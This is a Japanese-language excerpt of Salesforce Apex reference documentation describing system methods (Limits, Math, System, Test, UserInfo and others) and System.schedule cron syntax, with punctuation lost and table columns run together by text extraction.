グループイベントによりApexで送信される電子メールには追加の動作が含まれますグループイベントとはIsGroupEventが真であるイベントですEventAttendee オブジェクトはグループイベントに招待されているユーザリードまたは連絡先を追跡しますApex を使用して送信されるグループイベント電子メールの次のような動作に注意してください

bull ユーザにグループイベントの招待状を送信する場合triggerUserEmailオプションに関係しますbull リードまたは取引先担当者にグループイベントの招待状を送信する場合triggerOtherEmailオプションに

関係しますbull グループイベントの更新または削除時に送信される電子メールは必要に応じて triggerUserEmailおよび

triggerOtherEmailオプションに関係します

localeOptionsメソッド

localeOptionsメソッドはApex スクリプトで返されるラベルの言語を指定しますde_DE または en_GB など値は有効なユーザロケール (言語および国) である必要があります値は文字列で文字数は 2 から 5 文字です最初の 2 文字は常に「fr」や[en」などの ISO 言語コードです値がさらに国別に評価される場合文字列はアンダースコア (_) に続き「US」や「UK」などの ISO 国コードが続きますたとえばアメリカを示す文字列は「en_US」カナダのフランス語圏を示す文字列は「fr_CA」です

Salesforcecom がサポートする言語の一覧はSalesforcecom オンラインヘルプの「Salesforcecom がサポートする言語」を参照してください

データベースの EmptyRecycleBinResult メソッド

DatabaseEmptyRecycleBinResult オブジェクトのリストは DatabaseemptyRecycleBinメソッドによって返されますリスト内の各オブジェクトはDatabaseemptyRecycleBinメソッドのパラメータとして渡されるレコード ID またはパラメータに対応しますEmptyRecycleBinResult リストの最初のインデックスはリストに指定された最初のレコードまたは sObject に2 番目のインデックスは 2 番目のレコードまたは sObject にと順に対応します

次にすべてのインスタンスメソッドを示しますつまり EmptyRecyclelBinResult オブジェクトの特定のインスタンスに機能します引数をとるメソッドはありません

説明戻り値の型名前

このレコードまたは sObject の削除時にエラーが発生した場合1 つまたは複数の DatabaseError オブジェクト

DatabaseErrors []getErrors

のリストが返されますエラーが発生しない場合このリストは空白です

削除しようとするレコードまたは sObject を返しますIDgetId

レコードまたは sObject がごみ箱から正常に削除された場合は trueを正常に削除されない場合は falseを返します

BooleanisSuccess

参照 Version 180 | Apex システムメソッド | 276

Database Error Object メソッド

Databaseerror オブジェクトにはDML 操作またはそのほかの操作中に発生するエラーに関する情報が含まれています

データベースシステムメソッド形式で実行するすべての DML 操作は操作が失敗すると error オブジェクトを返します

すべての error オブジェクトは次のメソッドにアクセスします

説明戻り値の型引数名前

エラーメッセージのテキストを返しますStringgetMessage

エラーを特徴づけるコードを返しますステータスコードの詳細は組織のWSDL ファイルで参照でき

StatusCodegetStatusCode

ます (Salesforcecom オンラインヘルプの「SalesforcecomWSDL およびクライアント認証証明書のダウンロード」を参照してください)

Limits メソッド

Apex はマルチテナント環境で実行するためApex ランタイムエンジンは回避スクリプトが共有リソースを独占しないようさまざまな制限事項を強制します

Limits メソッドはトリガWeb サービスメソッドなど実行されているコンテキストに対する特定の制限を返します

Limits メソッドでは引数を必要としませんLimits メソッドの形式は次のとおりです

myDMLLimit = LimitsgetDMLStatements()

各メソッドには 2 つのバージョンがあります一方のバージョンのメソッドは現在のコンテキストで使用されているリソースの数を返しもう一方のバージョンは limit という用語を使用し該当するコンテキストに使用できるリソースの合計を返します

詳細は「実行ガバナーと制限の理解」を参照してください

説明戻り値の型

名前

現在のコンテキストで SOQL クエリステートメントで処理される集合クエリの数を返します

IntegergetAggregateQueries

現在のコンテキストで SOQL クエリステートメントで処理できる集合クエリの合計数を返します

IntegergetLimitAggregateQueries

現在のコンテキストで処理されている Web サービスステートメントの数を返します

IntegergetCallouts

現在のコンテキストで処理できる Web サービスステートメントの数を返します

IntegergetLimitCallouts

参照 Version 180 | Apex システムメソッド | 277

説明戻り値の型

名前

現在のコンテキストで返されている子関係オブジェクトの数を返します

IntegergetChildRelationshipsDescribes

現在のコンテキストで返すことができる子関係オブジェクトの合計数を返します

IntegergetLimitChildRelationshipsDescribes

現在のトランザクションの Salesforcecomサーバの累積CPU 時間 (ミリ秒) を返します

IntegergetCpuTime

現在のトランザクションの Salesforcecomサーバの累積CPU 時間 (ミリ秒) の合計を返します

getLimitCpuTime

現在のコンテキストで DML ステートメント (挿入削除) または databaseEmptyRecycleBinメソッドで処理されるレコードの数を返します

IntegergetDMLRows

現在のコンテキストで DML ステートメントまたはdatabaseEmptyRecycleBinメソッドで処理できるレコードの合計数を返します

IntegergetLimitDMLRows

現在のコンテキストでコールされている DML ステートメント (insertupdateまたは

IntegergetDMLStatements

databaseEmptyRecycleBinメソッドなど) の数を返します

現在のコンテキストでコールすることができる DMLステートメントまたは databaseEmptyRecycleBin

メソッドの合計数を返します

IntegergetLimitDMLStatements

現在のコンテキストでコールされている電子メール呼び出し (sendEmailなど) の数を返します

IntegergetEmailInvocations

現在のコンテキストでコールできる電子メール呼び出し (sendEmailなど) の合計数を返します

IntegergetLimitEmailInvocations

現在のコンテキストで作成されている項目記述コールの数を返します

IntegergetFieldsDescribes

現在のコンテキストで作成できる項目記述コールの合計数を返します

IntegergetLimitFieldsDescribes

現在のコンテキストで実行されているfindSimilarメソッドの数を返します

IntegergetFindSimilarCalls

現在のコンテキストで実行できるfindSimilarメソッドの合計数を返します

IntegergetLimitFindSimilarCalls

現在のコンテキストで実行されている (必ずしも完了しない) futureアノテーションを含むメソッドの数を返します

IntegergetFutureCalls

参照 Version 180 | Apex システムメソッド | 278

説明戻り値の型

名前

現在のコンテキストで実行できる (必ずしも完了しない)futureアノテーションを含むメソッドの合計数を返します

IntegergetLimitFutureCalls

現在のコンテキストでヒープに使用されているメモリのおおよその容量 (バイト) を返します

IntegergetHeapSize

現在のコンテキストでヒープに使用できるメモリの合計容量 (バイト) を返します

IntegergetLimitHeapSize

現在のコンテキストで発行されている SOQL クエリの数を返します

IntegergetQueries

現在のコンテキストで発行できる SOQL クエリの合計数を返します

IntegergetLimitQueries

現在のコンテキストで返されている PicklistEntry オブジェクトの数を返します

IntegergetPicklistDescribes

現在のコンテキストで返すことができる PicklistEntryオブジェクトの合計数を返します

IntegergetLimitPicklistDescribes

現在のコンテキストで DatabasegetQueryLocator

メソッドに返されたレコードの数を返しますIntegergetQueryLocatorRows

現在のコンテキストで DatabasegetQueryLocator

メソッドに返されたレコードの数の合計を返しますIntegergetLimitQueryLocatorRows

現在のコンテキストで SOQL クエリを発行することによって返されるレコード数を返します

IntegergetQueryRows

現在のコンテキストで SOQL クエリを発行することによって返すことができるレコードの合計数を返します

IntegergetLimitQueryRows

現在のコンテキストで返されている RecordTypeInfo オブジェクトの数を返します

IntegergetRecordTypesDescribes

現在のコンテキストで返すことができる RecordTypeInfoオブジェクトの合計数を返します

IntegergetLimitRecordTypesDescribes

現在のコンテキストで実行されている runAsメソッドの合計数を返します

IntegergetRunAs

現在のコンテキストで実行できる runAsメソッドの合計数を返します

IntegergetLimitRunAs

現在のコンテキストで発行されているロールバックステートメントの数を返します

IntegergetSavepointRollbacks

現在のコンテキストで発行することができるロールバックステートメントの合計数を返します

IntegergetLimitSavepointRollbacks

参照 Version 180 | Apex システムメソッド | 279

説明戻り値の型

名前

現在のコンテキストで発行されている Savepointステートメントの数を返します

IntegergetSavepoints

現在のコンテキストで発行できるSavepointステートメントの合計数を返します

IntegergetLimitSavepoints

現在のコンテキストで実行されているステートメントの数を返します

IntegergetScriptStatements

現在のコンテキストで実行できるステートメントの合計数を返します

IntegergetLimitScriptStatements

現在のコンテキストで発行されている SOSL クエリの数を返します

IntegergetSoslQueries

現在のコンテキストで発行できる SOSL クエリの合計数を返します

IntegergetLimitSoslQueries

Math メソッド

次にMath のシステム静的メソッドを示します

説明戻り値の型引数名前

指定された Decimal の絶対値を返しますDecimalDecimal dabs

指定された Double の絶対値を返しますDoubleDouble dabs

指定された Integer の絶対値を返します例Integer I = -42 Integer I2 =mathabs(I) systemassertEquals(I242)

IntegerInteger iabs

指定された Long の絶対値を返しますLongLong labs

角の arc コサインを 00 pi の範囲で返しますDecimalDecimal dacos

角の arc コサインを 00 pi の範囲で返しますDoubleDouble dacos

角の arc サインを -pi2 pi2 の範囲で返しますDecimalDecimal dasin

角の arc サインを -pi2 pi2 の範囲で返しますDoubleDouble dasin

角の arc タンジェントを -pi2 pi2 の範囲で返します

DecimalDecimal datan

角の arc タンジェントを -pi2 pi2 の範囲で返します

DoubleDouble datan

直角座標 (xおよび y) を極 (rおよび theta) に変換しますこのメソッドはxyの arc タンジェン

DecimalDecimal x

Decimal y

atan2

参照 Version 180 | Apex システムメソッド | 280

説明戻り値の型引数名前

トを -pi pi の範囲で計算してフェーズ thetaを計算します

直角座標 (xおよび y) を極 (rおよび theta) に変換しますこのメソッドはxyの arc タンジェン

DoubleDouble x

Double y

atan2

トを -pi pi の範囲で計算してフェーズ thetaを計算します

指定された Decimal の立方根を返します負の値の立方根は値の絶対値の平方根の負の数です

DecimalDecimal dcbrt

指定された Double の立方根を返します負の値の立方根は値の絶対値の平方根の負の数です

DoubleDouble dcbrt

最も小さい (負の無限大に最も近い) Decimal を返します引数より小さくはなく数学的整数と等しくなります

DecimalDecimal dceil

最も小さい (負の無限大に最も近い) Double を返します引数より小さくはなく数学的整数と等しくなります

DoubleDouble dceil

dで指定された角の三角関数のコサインを返します

DecimalDecimal dcos

dで指定された角の三角関数のコサインを返します

DoubleDouble dcos

dの双曲線コサインを返しますdの双曲線コサインは(ex + e-x)2 となるよう定義しますここでe はオイラーの数値です

DecimalDecimal dcosh

dの双曲線コサインを返しますdの双曲線コサインは(ex + e-x)2 となるよう定義しますここでe はオイラーの数値です

DoubleDouble dcosh

指定した Decimal の指数まで累乗したオイラーの数値 e を返します

DecimalDecimal dexp

指定した Double の指数まで累乗したオイラーの数値 e を返します

DoubleDouble dexp

最も大きい (正の無限大に最も近い) Decimal を返します引数より大きくはなく数学的整数と等しくなります

DecimalDecimal dfloor

最も大きい (正の無限大に最も近い) Double を返します引数より大きくはなく数学的整数と等しくなります

DoubleDouble dfloor

指定された Decimal の自然対数 (base e) を返します

DecimalDecimal dlog

参照 Version 180 | Apex システムメソッド | 281

説明戻り値の型引数名前

指定された Double の自然対数 (base e) を返しますDoubleDouble dlog

指定された Decimal の対数 (base 10) を返しますDecimalDecimal dlog10

指定された Double の対数 (base 10) を返しますDoubleDouble dlog10

指定された 2 つの Decimal の大きい方を返します例Decimal larger = mathmax(123 1566)systemassertEquals(larger 1566)

DecimalDecimal d1

Decimal d2

max

指定された 2 つの Double の大きい方を返しますDoubleDouble d1

Double d2

max

指定された 2 つの Integer の大きい方を返しますIntegerInteger i1

Integer i2

max

指定された 2 つの Long の大きい方を返しますLongLong l1

Long l2

max

指定された 2 つの Decimal の小さい方を返します例Decimal smaller = mathmin(123 1566)systemassertEquals(smaller 123)

DecimalDecimal d1

Decimal d2

min

指定された 2 つの Double の小さい方を返しますDoubleDouble d1

Double d2

min

指定された 2 つの Integer の小さい方を返しますIntegerInteger i1

Integer i2

min

指定された 2 つの Long の小さい方を返しますLongLong l1

Long l2

min

i2で割った i1の余りを返します例

Integer remainder = mathmod(12 2)systemassertEquals(remainder 0)

IntegerInteger i1

Integer i2

mod

Integer remainder2 = mathmod(8 3)systemassertEquals(remainder2 2)

L2で割った L1の余りを返しますLongLong L1

Long L2

mod

expの指数まで累乗した最初の Double の値を返します

DoubleDouble d

Double exp

pow

00 以上 10 未満の正の Double を返しますDoublerandom

参照 Version 180 | Apex システムメソッド | 282

説明戻り値の型引数名前

dに最も近く数学的整数に等しい値を返しますDecimalDecimal drint

dに最も近く数学的整数に等しい値を返しますDoubleDouble drint

使用しませんここメソッドはWinter 08 リリースの時点で廃止されています代わりに

IntegerDouble dround

roundToLongまたは roundを使用します12 を追加し結果の下限をとりその結果をデータ型Integer に投入して最も近い Integer を指定された Double に返します結果が -2147483648 より小さいまたは 2147483647より大きい場合Apexはエラーを生成します

12 を追加し結果の下限をとりその結果をデータ型 Integer に投入して最も近い Integer を指定された Decimal に返します

IntegerDecimal dround

12 を追加し結果の下限をとりその結果をデータ型 Long に投入して最も近い Long を指定された Decimal に返します

LongDecimal droundToLong

12 を追加し結果の下限をとりその結果をデータ型 Long に投入して最も近い Long を指定された Double に返します

LongDouble droundToLong

指定された Decimal の符号関数を返しますdが0 の場合は 0dが 0 より大きい場合は 10dが0 より小さい場合は -10 となります

DecimalDecimal dsignum

指定された Double の符号関数を返しますdが 0の場合は 0dが 0 より大きい場合は 10dが 0より小さい場合は -10 となります

DoubleDouble dsignum

dで指定された角の三角関数のサインを返しますDecimalDecimal dsin

dで指定された角の三角関数のサインを返しますDoubleDouble dsin

dの双曲線サインを返しますdの双曲線サインは(ex - e-x)2 となるよう定義しますここで e はオイラーの数値です

DecimalDecimal dsinh

dの双曲線サインを返しますdの双曲線サインは(ex - e-x)2 となるよう定義しますここで e はオイラーの数値です

DoubleDouble dsinh

dの適切に丸められた正の平方根を返しますDecimalDecimal dsqrt

dの適切に丸められた正の平方根を返しますDoubleDouble dsqrt

dで指定された角の三角関数のタンジェントを返します

DecimalDecimal dtan

参照 Version 180 | Apex システムメソッド | 283

説明戻り値の型引数名前

dで指定された角の三角関数のタンジェントを返します

DoubleDouble dtan

dの双曲線タンジェントを返しますdの双曲線タンジェントは (ex - e-x)(ex + e-x) となるよう定義し

DecimalDecimal dtanh

ますここでeはオイラーの数値ですつまりsinh(x)cosinh(x)に等しくなります正確なtanhの絶対値は常に 1 より小さくなります

dの双曲線タンジェントを返しますdの双曲線タンジェントは (ex - e-x)(ex + e-x) となるよう定義し

DoubleDouble dtanh

ますここでeはオイラーの数値ですつまりsinh(x)cosinh(x)に等しくなります正確なtanhの絶対値は常に 1 より小さくなります

Package メソッド

パッケージでアップロードされる一連のコンポーネント示す番号ですバージョン番号の形式はmajorNumberminorNumberpatchNumber (例 213) となりますメジャー番号およびマイナー番号はメジャーリリースごとに選択された値に増えますpatchNumberはパッチリリース時のみ生成されますpatchNumber

がない場合0 であるものとしますパッチバージョンは現在パイロットプログラムで使用できます組織のパッチバージョンの有効化に関する詳細はsalesforcecomまでお問い合わせくださいPackage メソッドはパッケージ開発者によって使用され異なるパッケージバージョンの動作をカスタマイズしますこれによりパッケージ開発者はコードをアップグレードしても以前のパッケージバージョンのクラスおよびトリガの既存の動作を継続してサポートできます

Package メソッドは異なるパッケージバージョンを参照する場合クラスが異なる動作ができるようにする特殊オブジェクトによって異なりますこれらのオブジェクトは管理パッケージ内のクラスにのみ使用できますPackageVersionRequest

ApexクラスおよびトリガはApexクラスまたはトリガが参照するインストールされた各パッケージのバージョン設定で保存されますこのコンテキストオブジェクトはクラスまたはトリガで参照されるパッケージバージョンを示します

PackageVersionmajorNumberminorNumber

このオブジェクトはクラスまたはトリガで参照されるパッケージバージョンを示します

たとえばPackageVersion21はバージョン 21 のパッケージを示しますこのオブジェクトをPackageVersionRequestとともに使用してさまざまなパッケージバージョンのさまざまな動作を指定できますこのオブジェクトを使用してできるのは「管理-リリース済み」パッケージバージョンの参照だけですこのオブジェクトを使用して「管理 - ベータ」パッケージバージョンを参照することはできません

メモ 非管理パッケージではPackageVersionRequestオブジェクトは使用できません

参照 Version 180 | Apex システムメソッド | 284

説明戻り値の型

引数名前

パッケージバージョンが引数で指定したパッケージバージョンより大きい場合は trueを返します例

if (PackageVersionRequest ==PackageVersion10) do something else

BooleanパッケージバージョンPackageVersionmajorminor

isGreaterThan

if(PackageVersionRequestisGreaterThan(PackageVersion20)) do something different else if(PackageVersionRequestisGreaterThan(PackageVersion23)) do something completely different

パッケージバージョンが引数で指定したパッケージバージョン以上である場合は trueを返します

BooleanパッケージバージョンPackageVersionmajorminor

isGreaterThanOrEqual

パッケージバージョンが引数で指定したパッケージバージョンより小さい場合は trueを返します

BooleanパッケージバージョンPackageVersionmajorminor

isLessThan

パッケージバージョンが引数で指定したパッケージバージョン以下である場合は trueを返します

BooleanパッケージバージョンPackageVersionmajorminor

isLessThanOrEqual

詳細は「Apex コードの動作のバージョニング (ページ 167)」を参照してください

Search メソッド

次にSearch のシステム静的メソッドを示します

説明戻り値の型引数名前

動的 SOSL クエリを実行時に作成しますこのメソッドは精機の割り当てステートメントや for

sObject[sObject[]]String queryquery

ループなど静的 SOSL クエリが使用できる場合に使用できます

詳細は「動的 SOQL」 (ページ140)を参照してください

System メソッド

次にSystem の静的メソッドを示します

メモ AnyDataTypeはプリミティブオブジェクトレコード配列マップセットまたは特殊な値nullを示す

参照 Version 180 | Apex システムメソッド | 285

説明戻り値の型引数名前

指定したジョブを停止します停止したジョブはジョブキューに表示されますJob_Name

VoidString Job_nameabortJob

はジョブが SystemScheduleメソッドで作成された場合に指定される名前です

メモ このメソッドはSystemScheduleメソッドとだけ使用できます

conditionが真であることを確認します真でない場合実行時の例外がオプションの

VoidBooleancondition

任意のデータ型opt_msg

assert

2 番目の引数opt_msgでメッセージの一部として投げられます

最初の 2 つの引数xと yが同じであることを確認します同じでない場合実行時の例

Void任意のデータ型x

任意のデータ型y

assertEquals

外がオプションの 3 番目の引数opt_msg

でメッセージの一部として投げられます

任意のデータ型opt_msg

最初の 2 つの引数xと yが異なることを確認しますそれらが同じである場合実行時

Void任意のデータ型x

任意のデータ型y

assertNotEquals

の例外がオプションの 3 番目の引数opt_msgでメッセージの一部として投げられます

任意のデータ型opt_msg

現在のページへの参照を返しますVisualforceページで使用します詳細は「PageReferenceクラス (ページ 326)」を参照してください

SystemPageReferencecurrentPageReference

現在の時間をミリ秒で返します (現在の時刻と1970 年 1 月 1 日午前 0 時 (UTC) との差異)

LongcurrentTimeMillis

引数 msgを実行デバッグログに文字列形式で書き込みますログレベルを指定しない場合

Void任意のデータ型msg

debug

DEBUGログレベルが使用されますログレベルが指定されていないまたはログレベルがERRORWARNINFOまたは DEBUGの debug

メソッドがデバッグに書き込まれます

マップまたはセットが印刷されると出力はキー順に並べ替えられ大かっこ ([]) で囲まれます配列またはリストが印刷されると出力は小かっこ (()) で囲まれます

参照 Version 180 | Apex システムメソッド | 286

説明戻り値の型引数名前

メモ Systemdebugへのコールはユニットテストの Apex コードの範囲の一部としてカウントされません

ログレベルの詳細はSalesforcecomオンラインヘルプの「デバッグログ条件の設定」を参照してください

すべての debugメソッドのログレベルを指定します

VoidEnum logLevel

任意のデータ型msg

debug

メモ Systemdebugへのコールはユニットテストの Apex コードの範囲の一部としてカウントされません

有効なログレベルは次のとおりです (低いものから順に並べてあります)

bull ERROR

bull WARN

bull INFO

bull DEBUG

bull FINE

bull FINER

bull FINEST

ログレベルは累積ですたとえば最も低いレベル ERROR が指定されている場合ログレベルが ERROR である debug メソッドのみが記録されます次のレベルWARN が指定されている場合デバッグログには ERRORまたは WARN として指定されている debugメソッドのみが含まれます

次の例では文字列 MsgTxtはデバッグログには書き込まれませんログレベルが ERROR

でdebugメソッドのレベルが INFOであるためです

Systemdebug (LogginglevelERROR)

Systemdebug(LogginglevelINFOMsgTxt)

ログレベルの詳細はSalesforcecomオンラインヘルプの「デバッグログ条件の設定」を参照してください

現在の日付と時刻を GMT のタイムゾーンで返します

Datetimenow

参照 Version 180 | Apex システムメソッド | 287

説明戻り値の型引数名前

作業項目 ID のリストを処理します詳細は「Apex 承認プロセスクラス」 (ページ 361)を参照してください

ListltIdgtListltWorkItemIDsgtWorkItemIDs

String Action

process

String Comments

StringNextApprover

指定されたユーザのパスワードをリセットします新しいパスワードでユーザがログイン

SystemResetPasswordResultID userID

Booleansend_user_email

resetPassword

すると新しいパスワードを入力しセキュリティに関する質問および回答を選択するよう指示が表示されますsend_user_emailにtrue指定するとユーザにパスワードがリセットされたことを通知する電子メールが送信されます新しいパスワードを使用してSalesforcecomにログインするためのリンクが電子メールに記載されていますログイン時に新しいパスワードを入力するよう指示するメッセージを表示しない場合setPassword

を使用します

警告 このメソッドを使用する場合は注意してくださいまたこの機能をエンドユーザに公開しないでください

現在のパッケージバージョンを引数で指定されたパッケージバージョンに変更しますパッ

VoidPackageversionversion

runAs

ケージでアップロードされる一連のコンポーネント示す番号ですバージョン番号の形式は majorNumberminorNumberpatchNumber

(例 213) となりますメジャー番号およびマイナー番号はメジャーリリースごとに選択された値に増えますpatchNumberはパッチリリース時のみ生成されますpatchNumber

がない場合0 であるものとしますパッチバージョンは現在パイロットプログラムで使用できます組織のパッチバージョンの有効化に関する詳細はsalesforcecom までお問い合わせください一連のコンポーネントのほかパッケージバージョンには特定の動作が含まれていますパッケージ開発者はパッケージバージョンメソッド (ページ284)を使用してコードをアップグレードしながら以前のパッケージバージョンのクラスおよびトリ

参照 Version 180 | Apex システムメソッド | 288

説明戻り値の型引数名前

ガの既存の動作をサポートしますApexクラスおよびトリガはApexクラスまたはトリガが参照するインストールされた各パッケージのバージョン設定で保存されます

このメソッドを使用してAppExchangeにアップロードする異なるパッケージバージョンのコンポーネントの動作をテストしますこのメソッドにより異なるパッケージバージョンの動作をテストできるようテストメソッドで PackageVersionRequestオブジェクトを効率的に設定します

runAsはテストメソッドでのみ使用できますトランザクションのこのメソッドに対するコール数の制限はありませんこのメソッドの使用例については「パッケージバージョンの動作のテスト (ページ169)」を参照してください

現在のユーザーを指定されたユーザーに変更します指定されたユーザーの権限とレコー

VoidUser user_varrunAs

ド共有のすべてがrunAsの実行時に強制されますrunAsはテストメソッドでのみ使用できます

メモ runAsメソッドはユーザライセンスの制限を無視します組織に追加ユーザライセンスがない場合でもrunAsで新しいユーザを作成できます

詳細は「runAsメソッドの使用」 (ページ124)を参照してください

メモ ユーザを指定する runAsへのコールは20件のみトランザクションで実行できます

Schedulableインターフェースを実装するApex クラスで scheduleを使用し

StringString JobName

StringCronExpression

schedule

CronExpressionによって指定された時間に実行するようクラスをスケジュールします

Objectschedulable_class クラスをトリガからスケジュールする場合は

細心の注意を払ってくださいトリガは 10 件を超えるスケジュールクラスを追加しないようにする必要があります具体的にはAPIの一括更新インポートウィザードユーザ

参照 Version 180 | Apex システムメソッド | 289

説明戻り値の型引数名前

インターフェースを使用した一括レコードの変更および複数のレコードを一度に更新できるすべてのケースなどです

メモ Salesforcecom ではスケジュールされた時間のキューの処理だけを追加します実際の実行はサービスの使用可能状態に応じて遅れる場合があります

詳細は「Using the SystemScheduleメソッド (ページ 291)の使用」abortJobメソッドを使用してスケジュールされた後にジョブを停止します

指定されたユーザのパスワードを設定しますこのパスワードでユーザがログインすると

VoidID userID

String password

setPassword

新しいパスワードを作成するようメッセージが表示されますリセットプロセスを行い独自のパスワードを作成する場合resetPasswordを空使用します

警告 このメソッドを使用する場合は注意してくださいまたこの機能をエンドユーザに公開しないでください

処理された承認を送信します詳細は「Apex承認プロセスクラス」 (ページ361)を参照してください

ListltIDgtListltWorkItemIDsgtWorkItemIDs

String Comments

submit

StringNextApprover

現在の日付を現在のユーザーのタイムゾーンで返します

Datetoday

システムログレベル

loggingLevel enum を使用してすべての debugメソッドのログレベルを指定します

有効なログレベルは次のとおりです (低いものから順に並べてあります)

bull ERROR

bull WARN

bull INFO

bull DEBUG

bull FINE

bull FINER

参照 Version 180 | Apex システムメソッド | 290

bull FINEST

ログレベルは累積ですたとえば最も低いレベル ERROR が指定されている場合ログレベルが ERROR である debug メソッドのみが記録されます次のレベルWARN が指定されている場合デバッグログには ERRORまたは WARN として指定されている debug メソッドのみが含まれます

次の例では文字列 MsgTxtはデバッグログには書き込まれませんログレベルが ERRORでdebugメソッドのレベルが INFOであるためです

SystemLoggingLevel level = LoggingLevelERROR

Systemdebug(logginglevelINFO MsgTxt)

ログレベルの詳細はSalesforcecom オンラインヘルプの「デバッグログ条件の設定」を参照してください

SystemScheduleメソッドの使用

Schedulableインターフェースでクラスを実装したらSystemScheduleメソッドを使用して実行しますスケジューラはシステムとして稼動しますユーザがクラスを実行する権限を持っているかどうかに関係なくすべてのクラスが実行されます

メモ クラスをトリガからスケジュールする場合は細心の注意を払ってくださいトリガは 10 件を超えるスケジュールクラスを追加しないようにする必要があります具体的にはAPI の一括更新インポートウィザードユーザインターフェースを使用した一括レコードの変更および複数のレコードを一度に更新できるすべてのケースなどです

SystemScheduleメソッドはジョブの名前ジョブの実行予定日時を表すために使用する式クラスの名前という 3 つの引数を取りますこの式の構文は次のとおりです

Seconds Minutes Hours Day_of_month Month Day_of_week optional_year

メモ Salesforcecom ではスケジュールされた時間のキューの処理だけを追加します実際の実行はサービスの使用可能状態に応じて遅れる場合があります

SystemScheduleメソッドではすべてのスケジュールの基準としてユーザのタイムゾーンが使用されます

式の値は次のようになります

特殊文字値名前None0ndash59Seconds

None0ndash59Minutes

- 0ndash23Hours

- L W1ndash31Day_of_month

- 1-12または次のとおりMonth

bull JAN

bull FEB

bull MAR

bull APR

参照 Version 180 | Apex システムメソッド | 291

特殊文字値名前

bull MAY

bull JUN

bull JUL

bull AUG

bull SEP

bull OCT

bull NOV

bull DEC

- L 1-7または次のとおりDay_of_week

bull SUN

bull MON

bull TUE

bull WED

bull THU

bull FRI

bull SAT

- Null または 1970-2099optional_year

特殊文字の定義は次のとおりです

bull は値を区切りますたとえば複数の月を指定する場合は JAN MAR APRを使用しますbull - は範囲を指定しますたとえば複数の月を指定する場合は JAN-MARを使用しますbull はすべての値を指定しますたとえばMonthをと指定するとジョブは毎月にスケジュールされますbull は特定の値を指定しませんこれはDay_of_monthと Day_of_weekのみで使用でき一般にある値以

外を指定しない場合に使用しますbull は増分を指定しますスラッシュの前の数値は期間の開始を指定しスラッシュの後の数値は期間の長さ

を指定しますたとえばDay_of_monthに 15と指定した場合Apex クラスは月の 1 日から始まり5 日おきに実行されます

bull L は範囲の終了を指定しますこれはDay_of_monthと Day_of_weekでのみ使用できますDay of month

で使用するとLは 1 月 31 日うるう年の場合は 2 月 28 日など常に月末日を意味しますDay_of_week

のみで使用すると7または SATを意味しますDay_of_weekの値と一緒に使用するとその月で指定した曜日の最後を意味しますたとえば2Lと指定すると月の最終月曜日を指定することになりますLと一緒に値の範囲は使用しないでください予期しない結果が生じる場合があります

bull W は特定の日に最も近い平日 (月曜日 金曜日) を指定しますこれは Day_of_monthでのみ使用できますたとえば20Wと指定し20 日が土曜日の場合クラスは 19 日に実行されます1Wと指定すると1 日が土曜日の場合クラスはその前の月ではなく次の月曜日である 3 日に実行されます

ヒント 月の最後の平日を指定するにはLと Wを一緒に使用します

bull は weekdayday_of_monthという形式で月の第 nth日目を指定しますこれは Day_of_weekでのみ使用できますの前の数値で平日 (SUN-SAT) を指定しますの後ろの数値で月の日付を指定しますたとえば22と指定するとクラスは毎月第 2 月曜日に実行されることを意味します

参照 Version 180 | Apex システムメソッド | 292

式の使用法の例を次に示します

説明式

クラスは毎日午後 1 時に実行されます0 0 13

クラスは毎月最終金曜日の午後 10 時に実行されます0 0 22 6L

クラスは月曜日から金曜日の午前 10 時に実行されます

0 0 10 MON-FRI

クラスは 2010 年の毎日午後 8 時に実行されます0 0 20 2010

次の例ではクラス proscheduleによって Schedulableインターフェースが実装されますこのクラスは2月 13 日の午前 8 時に実行するようにスケジュールされています

proschedule p = new proschedule() String sch = 0 0 8 13 2 systemschedule(One TimePro sch p)

SystemResetPasswordResult オブジェクト

SystemResetPasswordメソッドによって SystemResetPasswordResult オブジェクトが返されます生成されたパスワードのアクセスに使用できます

次にSystemResetPasswordResult オブジェクトのインスタンスメソッドを示します

説明戻り値引数方法SystemResetPasswordResultオブジェクトをインスタン

StringgetPassword

ス化したSystemResetPassword

メソッドの結果として生成されたパスワードを返します

Test メソッド

次にTest のシステム静的メソッドを示します

説明戻り値の型引数名前

コントローラの現在の PageReference を設定する Visualforce のテストメソッド

VoidPageReference pagesetCurrentPage

コントローラの現在の PageReference を設定する Visualforce のテストメソッド

VoidPageReference pagesetCurrentPageReference

固定された検索結果のリストをテストメソッドで後続するすべての SOSL ス

VoidID[]opt_set_search_results

setFixedSearchResults

テートメントに返されるよう定義しますopt_set_search_resultsが指定さ

参照 Version 180 | Apex システムメソッド | 293

説明戻り値の型引数名前

れていない場合すべての後続する SOSLクエリは結果を返しません

opt_set_search_resultsで指定されたレコード ID のリストはWHERE句またはLIMIT句に指定されていない場合に通常 SOSL クエリで返された結果を置き換えますこれらの句が SOSL クエリにある場合固定された検索結果のリストに適用されます

詳細は「SOSL クエリのユニットテストへの追加」 (ページ 126)

テストが実際に開始される場合にテストコードのポイントをマークしますガバ

VoidstartTest

ナー制限をテストする場合にこのメソッドを使用しますstopTestとともにこのメソッドを使用してアサーションまたはテストを実行する前にstartTestメソッドの後のすべての非同期コールが実行される用にすることができますそれぞれの testMethodはこのメソッドを一度だけコールできますこのメソッドの前のすべてのコードを変数の初期化データ構造の投入などのために使用する必要がありますテスト実行のために必要なすべてを設定できますこのメソッドをコールした後適用される制限は最初の DML ステートメント(INSERTDELETEなど) または最初のWeb サービス呼び出しに基づいています次の例はトリガ制限をテストします

teststarttest() 最初の重要なステートメントは 次の適用されたTrigger コンテキスト制限です -Account s = newAccount(name=test) insert s

次の例は webService制限をテストします

teststarttest() String holder=wsclassexecuteWebService(foo)

参照 Version 180 | Apex システムメソッド | 294

説明戻り値の型引数名前

テストが終了場合にテストコードのポイントをマークしますこのメソッドは

VoidstopTest

startTestメソッドと組み合わせて使用しますそれぞれの testMethodはこのメソッドを一度だけコールできますこのメソッドをコールした後帰結表明が元のコンテキストで行われますstartTestメソッド後に作成されたすべての非同期コールはシステムによって収集されますstopTestを実行する場合すべての非同期プロセスが同期して実行されます

メモ startTestブロックおよびstopTestブロックで呼び出された futureまたは executeBatch

などの非同期コールはキュー内ジョブ数の制限に対してカウントされません

UserInfo メソッド

次にUserInfo のシステム静的メソッドを示します

説明戻り値の型引数名前

組織が複数の通貨を使用する場合コンテキストユーザーのデフォルトの通貨を返します

StringgetDefaultCurrency

コンテキストユーザーの名前を返しますStringgetFirstName

コンテキストユーザーの言語を返しますStringgetLanguage

コンテキストユーザーの姓を返しますStringgetLastName

コンテキストユーザーのロケールを返します例String result =UserInfogetLocale()

StringgetLocale

SystemassertEquals(en_USresult)

